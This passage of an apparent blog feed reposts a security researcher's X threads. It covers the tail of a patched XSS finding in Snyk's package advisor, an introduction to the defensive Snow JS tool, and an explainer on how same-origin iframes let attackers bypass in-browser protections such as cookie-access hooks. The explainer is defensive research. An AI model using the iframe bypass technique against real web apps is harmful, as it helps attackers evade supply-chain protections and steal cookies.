    All is left is to post &lt;a href=&quot;https://snyk.io/advisor/npm-package/png2jpg&quot;&gt;https://snyk.io/advisor/npm-package/png2jpg&lt;/a&gt; in the stackoverflow thread claiming this can convert your pngs - it looks to good to not use it!&lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://snyk.io/advisor/npm-package/png2jpg&quot; style=&quot;display: none;&quot;&gt;snyk.io/advisor/npm-pa…&lt;/a&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    People trust tools like the advisory to tell them if some packages are safe to use or not, because how else could they know? (Except for reviewing their code but come on)&lt;br&gt;
    &lt;br&gt;
    That is why such a breach can potentially be just as dangerous - a single point of failure.
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    &lt;a href=&quot;https://x.com/@snyksec&quot;&gt;@snyksec&lt;/a&gt; were highly professional in the process of patching this. When creating similar services make sure (1) you’re aware of Markdown-to-XSS and (2) implement CSP protection.&lt;br&gt;
    &lt;br&gt;
    Thanks &lt;a href=&quot;https://x.com/@ace__pace&quot;&gt;@ace__pace&lt;/a&gt; for help with the post.&lt;br&gt;
    &lt;br&gt;
    If you’re into javascript security follow me for more 😊
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    &lt;a href=&quot;https://x.com/@snyksec&quot;&gt;@snyksec&lt;/a&gt; &lt;a href=&quot;https://x.com/@ace__pace&quot;&gt;@ace__pace&lt;/a&gt;
    &lt;div&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Introducing Snow ❄️ [𝕏]</title>
   <link href="https://weizman.github.io//2023/01/04/intro-snow/"/>
   <updated>2023-01-04T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2023/01/04/intro-snow</id>
   <content type="html">&lt;style&gt;
    .post {
        max-width: 80vh;
    }
    IMG {
        border: solid 1px lightgray;
        padding: 15px;
        margin: 15px;
    }
&lt;/style&gt;
&lt;blockquote&gt;&lt;p&gt;Originally &lt;a href=&quot;https://twitter.com/WeizmanGal/status/1610728465363505152&quot;&gt;posted on X&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;div id=container&gt;
    Excited to introduce the experimental ⚠️ #LavaMoat 🌋 toolbox technology,&lt;br&gt;
    &lt;br&gt;
    Snow JS ❄️&lt;br&gt;
    &lt;br&gt;
    &lt;br&gt;
    &lt;br&gt;
    🧵 Snow is an advanced and an important solution to a complicated sub problem in #browser #javascript #SupplyChainAttacks #security:&lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;Https://github.com/lavamoat/snow&quot; style=&quot;display: none;&quot;&gt;github.com/lavamoat/snow&lt;/a&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;div&gt;
        &lt;div class=&quot;entity-url-preview&quot;&gt;
            &lt;div class=&quot;d-flex justify-content-between align-items-center&quot;&gt;
                &lt;div class=&quot;border-right align-self-center&quot;&gt;
                    &lt;a target=&quot;_blank&quot; href=&quot;Https://github.com/lavamoat/snow&quot; class=&quot;img-cover&quot;&gt;
                        &lt;img src=&quot;https://repository-images.githubusercontent.com/497961481/ad5b0418-92c9-44b7-8072-5ef804d7a1b0&quot; loading=&quot;lazy&quot; onerror=&quot;this.src=&apos;/images/sticky-note-regular.png&apos;&quot;&gt;
                    &lt;/a&gt;
                &lt;/div&gt;
                &lt;div class=&quot;flex-grow-1&quot; style=&quot;min-width:0&quot;&gt;
                    &lt;div class=&quot;paragraph&quot;&gt;
                        &lt;a target=&quot;_blank&quot; href=&quot;Https://github.com/lavamoat/snow&quot;&gt;
                            &lt;strong&gt;GitHub - LavaMoat/snow: Use Snow to finally secure your web app&apos;s same origin realms!&lt;/strong&gt;
                            Use Snow to finally secure your web app&apos;s same origin realms! - GitHub - LavaMoat/snow: Use Snow to finally secure your web app&apos;s same origin realms!
                        &lt;/a&gt;
                        &lt;a target=&quot;_blank&quot; href=&quot;Https://github.com/lavamoat/snow&quot;&gt;&lt;small class=&quot;pre-url&quot;&gt;Https://github.com/lavamoat/snow&lt;/small&gt;&lt;/a&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;&lt;hr&gt;
    But first, get yourself familiar with the field of realms security by reading my previous tweet in order to understand the problem before we dive into the solution: &lt;span class=&quot;entity-embed&quot;&gt;&lt;span class=&quot;twitter-player&quot;&gt;&lt;div class=&quot;twitter-tweet twitter-tweet-rendered&quot; style=&quot;width: 100%; margin: 10px auto; display: flex; max-width: unset;&quot;&gt;&lt;iframe id=&quot;twitter-widget-0&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot; class=&quot;&quot; style=&quot;position: static; visibility: visible; width: 550px; height: 393px; display: block; flex-grow: 1;&quot; title=&quot;X Post&quot; src=&quot;https://platform.twitter.com/embed/Tweet.html?creatorScreenName=WeizmanGal&amp;amp;dnt=true&amp;amp;embedId=twitter-widget-0&amp;amp;features=eyJ0ZndfdGltZWxpbmVfbGlzdCI6eyJidWNrZXQiOltdLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X2ZvbGxvd2VyX2NvdW50X3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9iYWNrZW5kIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19yZWZzcmNfc2Vzc2lvbiI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfZm9zbnJfc29mdF9pbnRlcnZlbnRpb25zX2VuYWJsZWQiOnsiYnVja2V0Ijoib24iLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X21peGVkX21lZGlhXzE1ODk3Ijp7ImJ1Y2tldCI6InRyZWF0bWVudCIsInZlcnNpb24iOm51bGx9LCJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3Nob3dfYmlyZHdhdGNoX3Bpdm90c19lbmFibGVkIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19kdXBsaWNhdGVfc2NyaWJlc190b19zZXR0aW5ncyI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdXNlX3Byb2ZpbGVfaW1hZ2Vfc2hhcGVfZW5hYmxlZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdmlkZW9faGxzX2R5bmFtaWNfbWFuaWZlc3RzXzE1MDgyIjp7ImJ1Y2tldCI6InRydWVfYml0cmF0ZSIsInZlcnNpb24iOm51bGx9LCJ0ZndfbGVnYWN5X3RpbWVsaW5lX3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9mcm9udGVuZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9fQ%3D%3D&amp;amp;frame=false&amp;amp;hideCard=false&amp;amp;hideThread=true&amp;amp;id=1593879906928074753&amp;amp;lang=en&amp;amp;origin=https%3A%2F%2Fthreadreaderapp.com%2Fthread%2F1610728465363505152.html&amp;amp;sessionId=9989a63d13bea02f4b24e83f99f38543381d3467&amp;amp;theme=light&amp;amp;widgetsVersion=2615f7e52b7e0%3A1702314776716&amp;amp;width=550px&quot; data-tweet-id=&quot;1593879906928074753&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    So if to sum up the problem, we have many advanced browser JS security tools/services trying to apply protection to web apps by hooking into different browser builtin APIs with defense mechanisms that can be bypassed a good amount of the times by using same origin realms (iframe)
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    How so? If for example I create a tool that hooks into the &quot;document.cookie&quot; descriptor to block JS access to cookies for a made up security reason, malicious code can easily still access those cookies by creating an iframe and use the &quot;document.cookie&quot; descriptor from within it: &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/Flp1A2-aAAAZFWf.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/Flp1A2-aAAAZFWf.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Why is this a problem? Because in the example above that&apos;s just one way to form a new same origin realm, but there are many other ways to do that. So if we wish to automatically defend all future realms we&apos;d have to treat all possible ways to create them - attackers only need one
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    So obviously this is a hard problem to solve.&lt;br&gt;
    Automatically apply certain code not only to the top main realm, but to all potential child realms, immediately at the creation stage of a realm to prevent attackers from abusing them - is a hard need to accomplish.&lt;br&gt;
    &lt;br&gt;
    Enters SnowJS ❄️
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Snow attempts to accomplish just that!&lt;br&gt;
    &lt;br&gt;
    It provides a simple API that when given a callback invokes it with every newborn realm in the web app.&lt;br&gt;
    &lt;br&gt;
    Meaning, it allows you to synchronously hook into the rising moment of every new realm in the web app and manipulate it as you wish. &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/Flp1BxwaYAAfuG3.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/Flp1BxwaYAAfuG3.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    In contrast to how simple Snow’s API is, it does a lot of complicated work in making sure creation of new realms cannot be accomplished without going through Snow first.
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    By putting security first, Snow does its best at:&lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;1. &lt;/span&gt; Hooking every possible way of creating new realms;&lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;2. &lt;/span&gt; Getting a hold on new realms before any other JS code in runtime has the chance to.
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    To put simply, this means Snow does a hard work in preventing anyone from creating new iframes and accessing their new window object before Snow does.&lt;br&gt;
    &lt;br&gt;
    Now that we understand what Snow is, it’s clear how we can use it to solve the sub problem that’s described in the thread above:
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Basically we can take any protection tool/service out there and instead of running it on the top main realm only, use Snow to apply itself to all potential newborn child realms - as simple as that!&lt;br&gt;
    &lt;br&gt;
    Same goes for our &quot;cookie protector&quot; example from before: &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/Flp1CzNagAAn-Lk.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/Flp1CzNagAAn-Lk.jpg&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    I made sure there is a massive amount of information about Snow, so if you want to learn more about the project, the motivation behind it, the problem it tries to solve and more, it&apos;s all documented and continently updated here: so give it a look!&lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://github.com/weizman/awesome-javascript-realms-security#tools&quot; style=&quot;display: none;&quot;&gt;github.com/weizman/awesom…&lt;/a&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;div&gt;
        &lt;div class=&quot;entity-url-preview&quot;&gt;
            &lt;div class=&quot;d-flex justify-content-between align-items-center&quot;&gt;
                &lt;div class=&quot;border-right align-self-center&quot;&gt;
                    &lt;a target=&quot;_blank&quot; href=&quot;https://github.com/weizman/awesome-javascript-realms-security#tools&quot; class=&quot;img-cover&quot;&gt;
                        &lt;img src=&quot;https://opengraph.githubassets.com/e7c5677bf91cc0462a8a4e3d76f9873acb1e413ee3e48fc530938cd8c4184f6d/weizman/awesome-javascript-realms-security&quot; loading=&quot;lazy&quot; onerror=&quot;this.src=&apos;/images/sticky-note-regular.png&apos;&quot;&gt;
                    &lt;/a&gt;
                &lt;/div&gt;
                &lt;div class=&quot;flex-grow-1&quot; style=&quot;min-width:0&quot;&gt;
                    &lt;div class=&quot;paragraph&quot;&gt;
                        &lt;a target=&quot;_blank&quot; href=&quot;https://github.com/weizman/awesome-javascript-realms-security#tools&quot;&gt;
                            &lt;strong&gt;GitHub - weizman/awesome-javascript-realms-security: javascript realms security resources&lt;/strong&gt;
                            javascript realms security resources. Contribute to weizman/awesome-javascript-realms-security development by creating an account on GitHub.
                        &lt;/a&gt;
                        &lt;a target=&quot;_blank&quot; href=&quot;https://github.com/weizman/awesome-javascript-realms-security#tools&quot;&gt;&lt;small class=&quot;pre-url&quot;&gt;https://github.com/weizman/awesome-javascript-realms-security#tools&lt;/small&gt;&lt;/a&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;&lt;hr&gt;
    I will continue to talk about Snow and attempt to further explain it down the road, to make sure you&apos;re as excited about it as I am if you&apos;re not convinced yet 😉&lt;br&gt;
    &lt;br&gt;
    Remember: Snow is still experimental ⚠️ and might still not be bulletproof as this is a very hard problem to solve!
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;div&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Realms Security [𝕏]</title>
   <link href="https://weizman.github.io//2022/11/19/realms-sec/"/>
   <updated>2022-11-19T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2022/11/19/realms-sec</id>
   <content type="html">&lt;style&gt;
    .post {
        max-width: 80vh;
    }
    IMG {
        border: solid 1px lightgray;
        padding: 15px;
        margin: 15px;
    }
&lt;/style&gt;
&lt;blockquote&gt;&lt;p&gt;Originally &lt;a href=&quot;https://twitter.com/WeizmanGal/status/1593879906928074753&quot;&gt;posted on X&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;div id=container&gt;
    Now that we understand:&lt;br&gt;
    &lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;1. &lt;/span&gt; What realms in #javascript are;&lt;br&gt;
    &lt;span class=&quot;nop nop-start&quot;&gt;2. &lt;/span&gt; Why they can so easily be maliciously utilized against #browser #javascript supply chain protections,&lt;br&gt;
    &lt;br&gt;
    🧵 We can finally talk about the security field that doesn&apos;t get the attention it deserves - realms #security:
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    But first, if you missed (1) what realms in javascript are, I recommend reading &lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://weizman.github.io/page-what-is-a-realm-in-js&quot;&gt;What is a realm in JS?&lt;/a&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    And if you don&apos;t understand (2) why realms are such a security concern to in-browser supply chain security, I recommend going back to my previous tweet on that.&lt;br&gt;
    &lt;br&gt;
    All set? Let&apos;s begin👇🏻 &lt;span class=&quot;entity-embed&quot;&gt;&lt;span class=&quot;twitter-player&quot;&gt;&lt;div class=&quot;twitter-tweet twitter-tweet-rendered&quot; style=&quot;width: 100%; margin: 10px auto; display: flex; max-width: unset;&quot;&gt;&lt;iframe id=&quot;twitter-widget-0&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot; class=&quot;&quot; style=&quot;position: static; visibility: visible; width: 550px; height: 722px; display: block; flex-grow: 1;&quot; title=&quot;X Post&quot; src=&quot;https://platform.twitter.com/embed/Tweet.html?creatorScreenName=WeizmanGal&amp;amp;dnt=true&amp;amp;embedId=twitter-widget-0&amp;amp;features=eyJ0ZndfdGltZWxpbmVfbGlzdCI6eyJidWNrZXQiOltdLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X2ZvbGxvd2VyX2NvdW50X3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9iYWNrZW5kIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19yZWZzcmNfc2Vzc2lvbiI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfZm9zbnJfc29mdF9pbnRlcnZlbnRpb25zX2VuYWJsZWQiOnsiYnVja2V0Ijoib24iLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X21peGVkX21lZGlhXzE1ODk3Ijp7ImJ1Y2tldCI6InRyZWF0bWVudCIsInZlcnNpb24iOm51bGx9LCJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3Nob3dfYmlyZHdhdGNoX3Bpdm90c19lbmFibGVkIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19kdXBsaWNhdGVfc2NyaWJlc190b19zZXR0aW5ncyI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdXNlX3Byb2ZpbGVfaW1hZ2Vfc2hhcGVfZW5hYmxlZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdmlkZW9faGxzX2R5bmFtaWNfbWFuaWZlc3RzXzE1MDgyIjp7ImJ1Y2tldCI6InRydWVfYml0cmF0ZSIsInZlcnNpb24iOm51bGx9LCJ0ZndfbGVnYWN5X3RpbWVsaW5lX3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9mcm9udGVuZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9fQ%3D%3D&amp;amp;frame=false&amp;amp;hideCard=false&amp;amp;hideThread=true&amp;amp;id=1576942106156810240&amp;amp;lang=en&amp;amp;origin=https%3A%2F%2Fthreadreaderapp.com%2Fthread%2F1593879906928074753.html&amp;amp;sessionId=88de5f9695afcfece4e9563d37cae03636c5857f&amp;amp;theme=light&amp;amp;widgetsVersion=2615f7e52b7e0%3A1702314776716&amp;amp;width=550px&quot; data-tweet-id=&quot;1576942106156810240&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Back in the days, when building web apps was not massively relying on a never ending list of dependencies, in-browser web apps builders were mostly concerned about XSS attacks for client side security.
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Since those are syntax based type of vulnerabilities that are exploitable via user input, defending against those required developers to become aware of them, and make sure the code they’re deploying isn’t vulnerable to such attacks by properly sanitizing user input.
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    But since then things have changed dramatically, and user input is no longer the only exploitable surface for executing unwanted code in web apps.
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Nowadays, the number one way of achieving that is by breaching dependencies that such web apps rely on - and it is far more complicated to defend against than user input sanitation.
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    It’s so complicated, that there is more than just one approach on how to do so, and a very popular one which is taken by various companies is by defending javascript in real time in the browser.
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    You get what I’m saying? Unlike XSS attacks, it is now so hard to prevent unwanted code execution due to supply chain attacks, that a popular solution is to just wait for it to happen and defend against it live!
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    In my previous thread I give a very straightforward explanation on how such solutions look like, but generally the idea is to redefine the behavior of javascript and by that protect it against potentially malicious usage (doesn&apos;t click? go back to this 👉🏻 )&lt;span class=&quot;entity-embed&quot;&gt;&lt;span class=&quot;twitter-player&quot;&gt;&lt;div class=&quot;twitter-tweet twitter-tweet-rendered&quot; style=&quot;width: 100%; margin: 10px auto; display: flex; max-width: unset;&quot;&gt;&lt;iframe id=&quot;twitter-widget-1&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot; class=&quot;&quot; style=&quot;position: static; visibility: visible; width: 550px; height: 722px; display: block; flex-grow: 1;&quot; title=&quot;X Post&quot; src=&quot;https://platform.twitter.com/embed/Tweet.html?creatorScreenName=WeizmanGal&amp;amp;dnt=true&amp;amp;embedId=twitter-widget-1&amp;amp;features=eyJ0ZndfdGltZWxpbmVfbGlzdCI6eyJidWNrZXQiOltdLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X2ZvbGxvd2VyX2NvdW50X3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9iYWNrZW5kIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19yZWZzcmNfc2Vzc2lvbiI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfZm9zbnJfc29mdF9pbnRlcnZlbnRpb25zX2VuYWJsZWQiOnsiYnVja2V0Ijoib24iLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X21peGVkX21lZGlhXzE1ODk3Ijp7ImJ1Y2tldCI6InRyZWF0bWVudCIsInZlcnNpb24iOm51bGx9LCJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3Nob3dfYmlyZHdhdGNoX3Bpdm90c19lbmFibGVkIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19kdXBsaWNhdGVfc2NyaWJlc190b19zZXR0aW5ncyI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdXNlX3Byb2ZpbGVfaW1hZ2Vfc2hhcGVfZW5hYmxlZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdmlkZW9faGxzX2R5bmFtaWNfbWFuaWZlc3RzXzE1MDgyIjp7ImJ1Y2tldCI6InRydWVfYml0cmF0ZSIsInZlcnNpb24iOm51bGx9LCJ0ZndfbGVnYWN5X3RpbWVsaW5lX3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9mcm9udGVuZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9fQ%3D%3D&amp;amp;frame=false&amp;amp;hideCard=false&amp;amp;hideThread=true&amp;amp;id=1576942106156810240&amp;amp;lang=en&amp;amp;origin=https%3A%2F%2Fthreadreaderapp.com%2Fthread%2F1593879906928074753.html&amp;amp;sessionId=88de5f9695afcfece4e9563d37cae03636c5857f&amp;amp;theme=light&amp;amp;widgetsVersion=2615f7e52b7e0%3A1702314776716&amp;amp;width=550px&quot; data-tweet-id=&quot;1576942106156810240&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    But what I also talk about there, is how such defense when only applied to the main realm (top window) is basically useless, because any protection that is applied to only one realm does not apply automatically to another - and that&apos;s a part most solutions fail to protect against
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    To put simply, if for example my biggest fear is that an attacker successfully accesses “document.cookie” API so I delete access to it completely, I’m still screwed - the attacker can always regain that access by creating a new iframe and grabbing its unique “document.cookie” API
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    That is how good old realms in javascript can be maliciously abused due to how browser javascript attacks evolved.&lt;br&gt;
    &lt;br&gt;
    And that’s how the need for “realm security” was born - it’s the effort around securing realms so that attackers won’t be able to leverage them maliciously.
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    This is an abstract definition, because currently this is a very abstract concept - we only now start to understand the role of realms in the changing in-browser security ecosystem and that realms even require security due to how browser javascript security shapes up.
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    That is a security field I wish to define and further explore to eventually be able to improve the security of the web apps we use daily.&lt;br&gt;
    &lt;br&gt;
    Realms security is a field I have been researching for months now, and Snow JS ❄️ is the first significant fruit of my long term research.
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
    Super excited to introduce Snow in the next thread 😊&lt;br&gt;
    &lt;br&gt;
    To follow my realms security research journey, best place would be
    &lt;a href=&quot;https://github.com/weizman/awesome-javascript-realms-security&quot;&gt;https://github.com/weizman/awesome-javascript-realms-security&lt;/a&gt;
    where I cover everything there is to know about realms and {offensive/defensive} security of realms including best tools and practices&lt;a class=&quot;entity-url&quot; data-preview=&quot;true&quot; href=&quot;https://github.com/weizman/awesome-javascript-realms-security&quot; style=&quot;display: none;&quot;&gt;github.com/weizman/awesom…&lt;/a&gt;
    &lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
    &lt;hr&gt;
&lt;div&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
